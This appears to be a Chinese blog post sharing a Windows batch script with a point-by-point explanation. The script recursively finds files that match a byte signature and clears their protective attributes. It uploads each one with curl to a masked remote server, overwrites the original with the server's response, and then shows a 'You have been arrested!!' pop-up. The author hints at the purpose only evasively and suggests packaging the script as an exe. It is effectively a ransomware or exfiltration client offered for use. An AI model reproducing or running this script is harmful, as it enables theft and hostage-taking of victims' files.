由于种种原因吧,这里不细说,仅记录一下处理方式,具体应用在哪,怎么应用自己体会
结果展示
不废话,先上代码
@echo off
chcp 65001
setlocal enabledelayedexpansion
set start=%DATE% %TIME%
set count=0
for /r %%a in (*) do (
if not "%%~nxa" == "%~nx0" (
set "filename=%%a"
< !filename! (
set /p "line="
)
set "substring=!line:~1,10!"
set "noSpacesString=!substring: =!"
set bytesToMatch=xxxxxxxxxx
if "!noSpacesString!" equ "!bytesToMatch!" (
attrib -r -s "%%a" && curl -F "encrypted=@%%a" -X POST "http://xxx.xxx.xxx.xxx:xxxx/api" --output "%%a"
set /a count+=1
)
)
)
start /min cmd /k "set count=%count% && set start=%start% && echo. && echo ==================================== && echo You have been arrested!! && echo. && echo Powered By xxxx! && echo ==================================== && echo. && echo 文件数量: %count% && echo 当前目录: %CD% && echo. && echo 启动时间: %start% && echo 当前时间: %DATE% %TIME% && pause > nul"
endlocal
脚本说明
- 设置脚本的编码为65001避免乱码问题。
- 递归获取当前目录下的所有文件并对目录下的文件读取第一行的10个字节
- 匹配前10个字节内容是否为指定内容,确定文件是否为需要处理的文件
- 如果匹配成功,则设置文件为可读可写,并通过post方式上传至指定的接口,输出问原文件名。
- 输出脚本处理信息,包括启动时间,处理文件数等信息,其实也无所谓。
注意事项
脚本处理文件完毕之后会更改文件的修改日期,可以通过查看文件的修改日期或者弹窗信息确认是否处理完毕。
此脚本需要配合服务端对应功能实现,具体服务端实现了什么功能就不知道了,这里仅记录一下客户端做的内容即上传一个文件并下载下来,服务端是怎么处理的,这个脚本不管。
可以通过Bat To Exe Converter
转换生成为exe文件,并且可以配置是否使用密码等功能,具体其他可实现的功能自己来研究吧。
评论区